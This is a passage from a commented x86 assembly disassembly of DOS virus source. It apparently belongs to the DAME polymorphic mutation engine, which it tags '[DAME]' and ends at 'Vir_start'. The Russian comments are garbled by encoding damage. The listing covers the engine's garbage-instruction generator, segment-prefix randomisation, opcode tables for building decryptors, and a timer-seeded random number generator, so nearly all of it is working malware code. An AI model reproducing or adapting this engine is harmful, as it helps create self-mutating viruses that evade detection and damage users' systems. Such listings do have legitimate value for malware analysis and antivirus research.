; <20><><EFBFBD><EFBFBD>. <20><>६ <20><> <20>⮣<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>砩<EFBFBD><E7A0A9><EFBFBD> <20><>. <20><>⥬ <20><>稭<EFBFBD><E7A8AD><EFBFBD> <20><>ॡ<EFBFBD><E0A5A1><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; 㦥 ᣥ<><E1A3A5><EFBFBD><EFBFBD><EFBFBD><E0AEA2><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⪨ <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>. <20><> <20>ࠪ⨪<E0A0AA> <20><><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD>砥<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>䨪<EFBFBD>樨 <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>࣠<EFBFBD><E0A3A0><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD>⪨, <20><><EFBFBD><EFBFBD>-
|
|||
|
; <20><><EFBFBD> 㦥 <20>뫨 <20>ன<EFBFBD><E0AEA9><EFBFBD><EFBFBD> <20> <20> <20><><EFBFBD> 㦥 <20><> <20><><EFBFBD><E0ADA5><EFBFBD>.
|
|||
|
;==============================================================================
|
|||
|
|
|||
|
sub_09DC proc near
|
|||
|
09DC E8 FC6C call Write_byte ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樨
|
|||
|
09DF B8 ???? mov ax,1111h ; AX = <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>⢮ <20><><EFBFBD><EFBFBD>ᠭ<EFBFBD><E1A0AD><EFBFBD>
|
|||
|
BytesWrittenCounter = word ptr $ - 2 ; <20><><EFBFBD><EFBFBD> <20><>१ <20><><EFBFBD>楤<EFBFBD><E6A5A4><EFBFBD> Write_byte
|
|||
|
; <20> 䠪<><E4A0AA><EFBFBD><EFBFBD>᪨ <>쪮 㦥
|
|||
|
; ᣥ<><E1A3A5><EFBFBD><EFBFBD><EFBFBD><E0AEA2><EFBFBD> <20><><EFBFBD><EFBFBD> "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
|
|||
|
09E2 48 dec ax
|
|||
|
09E3 74 1B jz short loc_0A00 ; Jump if zero
|
|||
|
09E5 E8 F960 call RND_0_AX
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>᪨ <20><><EFBFBD>砩<EFBFBD><E7A0A9><EFBFBD> <20><> <20> AX <20><>।<EFBFBD><E0A5A4><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⪥ <20>㤥<EFBFBD> <20>뤥<EFBFBD><EBA4A5><EFBFBD><EFBFBD>
|
|||
|
; <20>祩<EFBFBD><E7A5A9> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD>䨪<EFBFBD><E4A8AA><EFBFBD><EFBFBD>
|
|||
|
09E8 92 xchg dx,ax ; DX - <20><><EFBFBD>砩<EFBFBD><E7A0A9><EFBFBD> <20><> <20> <20><><EFBFBD><EFBFBD><EFBFBD>-
|
|||
|
; <20><><EFBFBD><EFBFBD> 㦥 ᣥ<><E1A3A5><EFBFBD><EFBFBD><EFBFBD><E0AEA2><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD>
|
|||
|
09E9 BE ???? mov si,1111h ; 㪠<><E3AAA0>⥫<EFBFBD> <20><> <20><>砫<EFBFBD> <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
data_09EA = word ptr $ - 2
|
|||
|
09EC loc_09EC:
|
|||
|
; <20><>⠥<EFBFBD> <20><><EFBFBD>।<EFBFBD><E0A5A4><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
09EC AD lodsw ; String [si] to ax
|
|||
|
09ED 91 xchg cx,ax
|
|||
|
09EE AD lodsw ; String [si] to ax
|
|||
|
09EF 42 inc dx
|
|||
|
09F0 3B D1 cmp dx,cx
|
|||
|
09F2 72 09 jb short loc_09FD ; Jump if below
|
|||
|
09F4 74 01 jz short loc_09F7 ; Jump if zero
|
|||
|
09F6 4A dec dx
|
|||
|
09F7 loc_09F7:
|
|||
|
; <20><><EFBFBD><EFBFBD>室 <20> <><E1ABA5><EFBFBD>饩 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
09F7 03 F1 add si,cx
|
|||
|
09F9 2B D1 sub dx,cx
|
|||
|
09FB EB EF jmp short loc_09EC
|
|||
|
09FD loc_09FD:
|
|||
|
09FD 4A dec dx
|
|||
|
09FE 03 C2 add ax,dx
|
|||
|
;----------------------------------------------------------------
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>祩<EFBFBD><E7A5A9> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>뤥<EFBFBD><EBA4A5><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD><EFBFBD>䨪<EFBFBD><E4A8AA><EFBFBD><EFBFBD>
|
|||
|
0A00 loc_0A00:
|
|||
|
0A00 57 push di
|
|||
|
0A01 50 push ax
|
|||
|
0A02 BF 27BE mov di,1111h
|
|||
|
data_0A03 = word ptr $ - 2
|
|||
|
0A05 AB stosw ; Store ax to es:[di]
|
|||
|
0A06 96 xchg si,ax
|
|||
|
0A07 A5 movsw ; Mov [si] to es:[di]
|
|||
|
0A08 2E: 89 3E 0A03 mov cs:data_0A03,di
|
|||
|
0A0D 58 pop ax
|
|||
|
0A0E 5F pop di
|
|||
|
0A0F FE C4 inc ah
|
|||
|
0A11 E9 FC22 jmp loc_0636
|
|||
|
sub_09DC endp
|
|||
|
sub_09C2 endp
|
|||
|
;==============================================================================
|
|||
|
; * <20><><EFBFBD>楤<EFBFBD><E6A5A4><EFBFBD> <20><>⠢<EFBFBD><E2A0A2> ।<>४<EFBFBD><E0A5AA><EFBFBD><EFBFBD> ᥣ<><E1A5A3><EFBFBD>⮢ *
|
|||
|
;==============================================================================
|
|||
|
; <20>.<2E>. <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>樨 <20><> <20><><EFBFBD><EFBFBD>䨪<EFBFBD>樨 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㥬<EFBFBD><E3A5AC> <20><><EFBFBD><EFBFBD>ᮬ <20><> 㬮<>砭<EFBFBD><E7A0AD>
|
|||
|
; <20>ந<EFBFBD><E0AEA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> ᥣ<><E1A5A3><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> DS, <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD> DS
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E0AEA2><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>䭮<EFBFBD> "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", <20><> <20><><EFBFBD><EFBFBD>室<EFBFBD><E5AEA4><EFBFBD> <20><><EFBFBD><EFBFBD>⢠<EFBFBD><E2A2A0><EFBFBD><EFBFBD> <20><>-
|
|||
|
; ᥣ<><E1A5A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ।<>४<EFBFBD><E0A5AA><EFBFBD> (CS: <20><> SS:). <20><> <20> DS <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><> ⮣<><E2AEA3> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-
|
|||
|
; <20><><EFBFBD><EFBFBD> <20><EFBFBD><E0AEA2><EFBFBD><EFBFBD><EFBFBD> : <20> <20><> <20>뫮 <20><> <20><><EFBFBD>砩<EFBFBD><E7A0A9><EFBFBD><EFBFBD> ।<>४<EFBFBD><E0A5AA><EFBFBD><EFBFBD>. <20> <20> ⠪<><E2A0AA><EFBFBD><EFBFBD> <20><><EFBFBD> <20><>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>塞 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> NOP <20><>। <20><>⠢<EFBFBD><E2A0A2><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>樨 <20><><EFBFBD><EFBFBD>䨪<EFBFBD>樨 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
|||
|
; <20>ਬ<EFBFBD>砭<EFBFBD><E7A0AD> : <20> <20> <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD> <20><>⠫<EFBFBD><E2A0AB><EFBFBD> <><E1A2AE><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> 6 <20><><EFBFBD>⮢, <20><> <20><><EFBFBD>楤<EFBFBD><E6A5A4><EFBFBD>
|
|||
|
; ᭨<><E1ADA8><EFBFBD><EFBFBD> <20><> <20>⥪<EFBFBD> <20><> ⮫쪮 <20><><EFBFBD><EFBFBD>饭<EFBFBD><E9A5AD> <20> ᥡ<> <20><> <20> <20><><EFBFBD><EFBFBD>饭<EFBFBD><E9A5AD> <20> <20><>-
|
|||
|
; <20>뢠<EFBFBD>饩 <20><><EFBFBD>楤<EFBFBD><E6A5A4><EFBFBD>
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
sub_0A14 proc near
|
|||
|
0A14 2E: A1 09EA mov ax,cs:data_09EA
|
|||
|
0A18 2E: 2B 06 0A03 sub ax,cs:data_0A03
|
|||
|
0A1D 3D 0006 cmp ax,6 ; <20><><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD> ?
|
|||
|
0A20 73 02 jae short loc_0A24 ; Jump if above or =
|
|||
|
0A22 58 pop ax
|
|||
|
|
|||
|
0A23 loc_ret_0A23:
|
|||
|
0A23 C3 retn
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD> <20> <20><><EFBFBD><EFBFBD>-<2D><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD> <20><>⠢<EFBFBD><E2A0A2><EFBFBD><EFBFBD> ।<>४<EFBFBD><E0A5AA><EFBFBD> ᥣ<><E1A5A3><EFBFBD>⮢.
|
|||
|
; <20>ਬ<EFBFBD>砭<EFBFBD><E7A0AD> : data_0A25 - 䫠<> <20><><EFBFBD><EFBFBD>䨪<EFBFBD>樨 ॣ<><E0A5A3><EFBFBD><EFBFBD><EFBFBD> DS
|
|||
|
; = 0 - ॣ<><E0A5A3><EFBFBD><EFBFBD> DS <20><> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; = 1 - ॣ<><E0A5A3><EFBFBD><EFBFBD> DS <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
;------------------------------------------------------------------------------
|
|||
|
0A24 loc_0A24:
|
|||
|
0A24 B0 00 mov al,0
|
|||
|
data_0A25 = byte ptr $ - 1
|
|||
|
0A26 0A C0 or al,al ; DS <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ?
|
|||
|
0A28 74 0C jz short loc_0A36 ; Jump if NO. <20><><EFBFBD> <20><><EFBFBD> <20> <20>⮬
|
|||
|
; <20><><EFBFBD>砥 ।<>४<EFBFBD><E0A5AA><EFBFBD> <20><> <20>㦥<EFBFBD>
|
|||
|
; <20>롨ࠥ<EBA1A8> <20><><EFBFBD><EFBFBD><EFBFBD> ᥣ<><E1A5A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ॣ<><E0A5A3><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>⠢<EFBFBD><E2A0A2><EFBFBD> ?
|
|||
|
0A2A E8 F918 call RND_01
|
|||
|
0A2D B0 2E mov al,2Eh ; SEG CS
|
|||
|
0A2F 74 02 jz short loc_0A33
|
|||
|
0A31 B0 36 mov al,36h ; SEG SS
|
|||
|
0A33 loc_0A33:
|
|||
|
0A33 E9 FC15 jmp loc_064B
|
|||
|
sub_0A14 endp
|
|||
|
|
|||
|
;==============================================================================
|
|||
|
; <20><EFBFBD>ઠ <20><> ।<>४<EFBFBD><E0A5AA><EFBFBD> ᥣ<><E1A5A3><EFBFBD>⮢ (<28>뫠 <20><> <20>।<EFBFBD><E0A5A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ।<>४<EFBFBD><E0A5AA>)
|
|||
|
;==============================================================================
|
|||
|
sub_0A36 proc near
|
|||
|
0A36 loc_0A36:
|
|||
|
0A36 8A 47 FF mov al,[bx-1] ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>।<EFBFBD><E0A5A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
0A39 24 E7 and al,not SEG_REGs ; <20>뤥<EFBFBD><EBA4A5><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>
|
|||
|
0A3B 3C 26 cmp al,26h ; <20>뫠 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; ᥣ<><E1A5A3><EFBFBD><EFBFBD><EFBFBD> ? (ES:,SS:,CS:,DS:)
|
|||
|
0A3D 75 E4 jne loc_ret_0A23
|
|||
|
0A3F B0 90 mov al,90h ; <20><>. <20><><EFBFBD><EFBFBD>⠢<EFBFBD>塞 NOP
|
|||
|
0A41 EB F0 jmp short loc_0A33
|
|||
|
sub_0A36 endp
|
|||
|
|
|||
|
;-------------------------------------------------------------------------------------------------------
|
|||
|
0A43 02 data_0A43 dop 00000000b, in_reg ; ADD r(8/16), r/m (02,03)
|
|||
|
0A44 0A dop 00001000b, in_reg ; OR r(8/16), r/m (0A,0B)
|
|||
|
0A45 12 dop 00010000b, in_reg ; ADC r(8/16), r/m (12,13)
|
|||
|
0A46 1A dop 00011000b, in_reg ; SBB r(8/16), r/m (1A,1B)
|
|||
|
0A47 22 dop 00100000b, in_reg ; AND r(8/16), r/m (22,23)
|
|||
|
0A48 2A dop 00101000b, in_reg ; SUB r(8/16), r/m (2A,2B)
|
|||
|
0A49 32 dop 00110000b, in_reg ; XOR r(8/16), r/m (32,33)
|
|||
|
0A4A 38 dop 00111000b, out_reg ; CMP r/m, r(8/16) (38,39)
|
|||
|
0A4B 3A dop 00111000b, in_reg ; CMP r(8/16), r/m (3A,3B)
|
|||
|
0A4C 84 dop 10000100b, out_reg ; TEST r/m, r(8/16) (84,85)
|
|||
|
0A4D 8A dop 10001000b, in_reg ; MOV r(8/16), r/m (8A,8B)
|
|||
|
0A4E 8E dop 10001100b, in_reg ; MOV seg, r/m (8E)
|
|||
|
;-------------------------------------------------------------------------------------------------------
|
|||
|
0A4F A0 data_0A4F db 10100000b ; MOV AL, [im8] (A0,A1)
|
|||
|
0A50 04 db 00000100b ; ADD AL, im8 (04,05)
|
|||
|
0A51 0C db 00001100b ; OR AL, im8 (0C,0D)
|
|||
|
0A52 14 db 00010100b ; ADC AL, im8 (14,15)
|
|||
|
0A53 1C db 00011100b ; SBB AL, im8 (1C,1D)
|
|||
|
0A54 24 db 00100100b ; AND AL, im8 (24,25)
|
|||
|
0A55 2C db 00101100b ; SUB AL, im8 (2C,2D)
|
|||
|
0A56 34 db 00110100b ; XOR AL, im8 (34,35)
|
|||
|
0A57 3C db 00111100b ; CMP AL, im8 (3C,3D)
|
|||
|
0A58 A8 db 10101000b ; TEST AL, [im8] (A8,A9)
|
|||
|
;-------------------------------------------------------------------------------------------------------
|
|||
|
0A59 C5 data_0A59 db 11000101b ; LDS r16/mem (C5)
|
|||
|
0A5A C4 db 11000100b ; LES r16/mem (C4)
|
|||
|
0A5B 8D db 10001101b ; LEA r16/mem (8D)
|
|||
|
;-------------------------------------------------------------------------------------------------------
|
|||
|
0A5C 58 db 01011000b ; POP r16 (58-5F)
|
|||
|
0A5D 50 data_0A5D db 01010000b ; PUSH r16 (50-57)
|
|||
|
0A5E 48 db 01001000b ; DEC r16 (48-4F)
|
|||
|
0A5F 40 db 01000000b ; INC r16 (40-47)
|
|||
|
0A60 90 db 10010000b ; NOP, XCHG AX,r16 (90-97)
|
|||
|
;-------------------------------------------------------------------------------------------------------
|
|||
|
0A61 9C data_0A61 db 10011100b ; PUSHF (9C)
|
|||
|
0A62 27 db 00100111b ; DAA (27)
|
|||
|
0A63 2F db 00101111b ; DAS (2F)
|
|||
|
0A64 37 db 00110111b ; AAA (37)
|
|||
|
0A65 3F db 00111111b ; AAS (3F)
|
|||
|
0A66 98 db 10011000b ; CBW (98)
|
|||
|
0A67 99 db 10011001b ; CWD (99)
|
|||
|
0A68 9E db 10011110b ; SAHF (9E)
|
|||
|
0A69 9F db 10011111b ; LAHF (9F)
|
|||
|
0A6A A6 db 10100110b ; CMPSB (A6)
|
|||
|
0A6B AC db 10101100b ; LODSB (AC)
|
|||
|
0A6C AE db 10101110b ; SCASB (AE)
|
|||
|
0A6D D7 db 11010111b ; XLAT (D7)
|
|||
|
0A6E F5 db 11110101b ; CMC (F5)
|
|||
|
0A6F F8 db 11111000b ; CLC (F8)
|
|||
|
0A70 F9 db 11111001b ; STC (F9)
|
|||
|
0A71 FA db 11111010b ; CLI (FA)
|
|||
|
0A72 FB db 11111011b ; STI (FB)
|
|||
|
0A73 FC db 11111100b ; CLD (FC)
|
|||
|
0A74 FD db 11111101b ; STD (FD)
|
|||
|
0A75 A7 db 10100111b ; CMPSW (A7)
|
|||
|
0A76 AD db 10101101b ; LODSW (AD)
|
|||
|
0A77 AF db 10101111b ; SCASW (AF)
|
|||
|
;-------------------------------------------------------------------------------------------------------
|
|||
|
|
|||
|
;==========================================================================
|
|||
|
; <20><><EFBFBD>樠<EFBFBD><E6A8A0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>ᥢ<EFBFBD><E1A5A2><EFBFBD><EFBFBD><EFBFBD>砩<EFBFBD><E7A0A9><EFBFBD> <20><>ᥫ
|
|||
|
;==========================================================================
|
|||
|
|
|||
|
RANDOMIZE proc near
|
|||
|
0A78 52 push dx
|
|||
|
0A79 51 push cx
|
|||
|
0A7A B4 2C mov ah,2Ch
|
|||
|
0A7C CD 21 int 21h ; DOS Services ah=function 2Ch
|
|||
|
; get time, cx=hrs/min, dx=sec
|
|||
|
0A7E E4 40 in al,40h ; port 40h, 8253 timer 0 clock
|
|||
|
0A80 8A E0 mov ah,al
|
|||
|
0A82 E4 40 in al,40h ; port 40h, 8253 timer 0 clock
|
|||
|
0A84 33 C1 xor ax,cx
|
|||
|
0A86 33 D0 xor dx,ax
|
|||
|
0A88 EB 1B jmp short loc_0AA5
|
|||
|
;==========================================================================
|
|||
|
; <20><><EFBFBD><EFBFBD>祭<EFBFBD><E7A5AD> <20><><EFBFBD>祭<EFBFBD><E7A5AD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20>ᥢ<EFBFBD><E1A5A2><EFBFBD><EFBFBD><EFBFBD>砩<EFBFBD><E7A0A9><EFBFBD> <20><>ᥫ
|
|||
|
RND:
|
|||
|
0A8A 52 push dx
|
|||
|
0A8B 51 push cx
|
|||
|
0A8C 53 push bx
|
|||
|
0A8D B8 ???? mov ax,1111h
|
|||
|
data_0A8E = word ptr $ - 2
|
|||
|
0A90 BA ???? mov dx,1111h
|
|||
|
data_0A91 = word ptr $ - 2
|
|||
|
0A93 B9 0007 mov cx,7
|
|||
|
0A96 locloop_0A96:
|
|||
|
0A96 D1 E0 shl ax,1 ; Shift w/zeros fill
|
|||
|
0A98 D1 D2 rcl dx,1 ; Rotate thru carry
|
|||
|
0A9A 8A D8 mov bl,al
|
|||
|
0A9C 32 DE xor bl,dh
|
|||
|
0A9E 79 02 jns short loc_0AA2 ; Jump if not sign
|
|||
|
0AA0 FE C0 inc al
|
|||
|
0AA2 loc_0AA2:
|
|||
|
0AA2 E2 F2 loop locloop_0A96 ; Loop if cx > 0
|
|||
|
0AA4 5B pop bx
|
|||
|
0AA5 loc_0AA5:
|
|||
|
0AA5 2E: A3 0A8E mov cs:data_0A8E,ax
|
|||
|
0AA9 2E: 89 16 0A91 mov cs:data_0A91,dx
|
|||
|
0AAE 8A C2 mov al,dl
|
|||
|
0AB0 59 pop cx
|
|||
|
0AB1 5A pop dx
|
|||
|
0AB2 C3 retn
|
|||
|
RANDOMIZE endp
|
|||
|
|
|||
|
0AB3 5B 44 41 4D 45 5D db '[DAME] [DAME]'
|
|||
|
0AB9 20 5B 44 41 4D 45
|
|||
|
0ABF 5D
|
|||
|
Vir_END equ $
|
|||
|
seg_a ends
|
|||
|
|
|||
|
|
|||
|
|
|||
|
end Vir_start
|